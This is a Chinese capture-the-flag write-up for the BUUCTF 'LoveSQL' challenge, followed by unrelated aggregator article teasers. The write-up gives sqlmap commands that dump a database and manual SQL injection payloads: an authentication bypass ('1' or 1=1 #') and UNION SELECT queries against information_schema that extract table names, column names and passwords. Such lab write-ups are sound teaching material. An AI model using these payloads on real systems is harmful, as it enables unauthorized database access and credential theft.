2025.1.16——五、LoveSQL1 sqlmap文件类|万能密码

news/2025/1/21 5:46:02/

题目来源:BUUCTF [极客大挑战 2019]LoveSQL 1

目录

一、打开靶机,分析信息

sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E6%96%87%E4%BB%B6%E7%B1%BB-toc" name="tableOfContents" style="margin-left:0px">二、sqlmap解题——文件类

step 1:通过url进行爆破

step 2:抓包并将信息保存为文件进行爆破数据库

step 3:爆表

step 4:爆列的所有信息

三、手工注入爆破——万能密码

step 1:万能密码注入

step 2:判断字段数

step 3:爆数据库

step 4:爆表名

step 5:爆列名

step 6:爆具体数据

四、小结


一、打开靶机,分析信息

              题目提示这道题是sql注入

        查看源码,获取信息:①可尝试sqlmap;②可以手工注入

sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E6%96%87%E4%BB%B6%E7%B1%BB" name="%E4%BA%8C%E3%80%81sqlmap%E8%A7%A3%E9%A2%98%E2%80%94%E2%80%94%E6%96%87%E4%BB%B6%E7%B1%BB">二、sqlmap解题——文件类

step 1:通过url进行爆破

        直接复制url,使用 -u 进行爆破,但是总感觉哪里怪怪的,应该是传参的内容不太合适,所以改用文件方式进行爆破

step 2:抓包并将信息保存为文件进行爆破数据库

        bp抓包后将信息保存在桌面的1.txt文件中,用-r指令进行爆破

口令:

python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -dbs

        得到5个数据库名,geek数据库最可疑,进行爆破

step 3:爆表

python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek --tables

        得到两个表,其中 l0ve1ysq1列 最可疑

step 4:爆列的所有信息

python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek -T l0ve1ysq1 --dump

        得到flag

三、手工注入爆破——万能密码

step 1:万能密码注入

username:1’ or 1=1 #   password:随便

        注入点正确

step 2:判断字段数

        %23是url编码后的#

sql">1' order by 3 %23

sql">1' order by 4 %23

        所以可以得到字段数为2

step 3:爆数据库

        这里可以加一步判断回显点

sql">1' union select 1,2,3%23

        爆出数据库

sql">1' union select database(),database(),database()%23

        得到数据库名geek

step 4:爆表名

sql">1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'

step 5:爆列名

sql">1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23

step 6:爆具体数据

sql">1' union select 1,2,password from geek.l0ve1ysq1 %23

        得到了我们不需要的东西,所以应该一次性把数据全部输出

sql">1' union select 1,2,group_concat(password) from geek.l0ve1ysq1 %23

        太长了,直接看源代码,得到flag为flag{8e405a18-97b4-4393-9991-ec7de04d993c}

四、小结

        拿到题先寻找注入点,而后判断注入类型,尝试用万能密码登陆,sqlmap的使用很重要


http://www.ppmy.cn/news/1564861.html

相关文章

03_UI自适应

因为Canvas大小是始终和屏幕一致的 所以设置Canvas的屏幕大小 通常设置为1920 * 1080 又因为屏幕的图像及按钮如果想适配各种显示屏需要锁定长或者宽, 之后利用钉子将其他图像利用创建空节点定在左右或者上下两侧 比如unity编辑器通常是锁定宽的,那我…

学英语学技术: jmeter插件管理器

单词 汉语意思 音标 catalogue 目录 /ˈktəlɒɡ/ dependencies 依赖关系 /dɪˈpɛndənsiz/ dialog 对话框 /ˈdaɪəlɒɡ/ infrastructure 基础设施 /ˈɪnfrəstrʌktʃə(r)/ installation 安装 /ˌɪnstəˈleɪʃn/ italic 斜体 /ɪˈtlɪk/ jme…

基于EMQX+MQTT+ESP32+Openharmony的开发实例

EMQX介绍 EMQ X 是基于 Erlang/OTP 平台开发的 MQTT 消息服务器,是开源社区中最流行的 MQTT 消息服务器。EMQX 是开源百万级分布式 MQTT 消息服务器(MQTT Messaging Broker),用于支持各种接入标准 MQTT 协议的设备,实…

Web3 时代,区块链与物联网的融合创新前景

随着Web3时代的到来,区块链技术和物联网(IoT)的融合成为科技领域的一个热点话题。Web3以去中心化为核心理念,而区块链正是这一理念的技术支撑。物联网则通过智能设备和传感器将现实世界的数据数字化,连接成一个庞大的网…

从零搭建一套远程手机的桌面操控和文件传输的小工具

从零搭建一套远程手机的桌面操控和文件传输的小工具 --ADB连接专题 一、前言 前面的篇章中,我们确定了通过基于TCP连接的ADB控制远程手机的操作思路。本篇中我们将进行实际的ADB桥接的具体链路搭建工作,从原理和实际部署和操作层面上,从零…

四、CSS效果

一、box-shadow box-shadow:在元素的框架上添加阴影效果 /* x 偏移量 | y 偏移量 | 阴影颜色 */ box-shadow: 60px -16px teal; /* x 偏移量 | y 偏移量 | 阴影模糊半径 | 阴影颜色 */ box-shadow: 10px 5px 5px black; /* x 偏移量 | y 偏移量 | 阴影模糊半径 | 阴影扩散半…

【JVM-10】IBM HeapAnalyzer 工具使用指南:深入解析 Java 堆转储分析

在 Java 应用程序开发中,内存泄漏和内存使用问题是非常常见的性能瓶颈。为了诊断这些问题,开发者通常需要分析 Java 堆转储文件(Heap Dump)。IBM HeapAnalyzer 是一款由 IBM 开发的免费工具,专门用于分析堆转储文件&am…

算法每日双题精讲 —— 二分查找(x 的平方根,搜索插入位置)

🌟快来参与讨论💬,点赞👍、收藏⭐、分享📤,共创活力社区。 🌟 别再犹豫了!快来订阅我们的算法每日双题精讲专栏,一起踏上算法学习的精彩之旅吧💪 在算法的…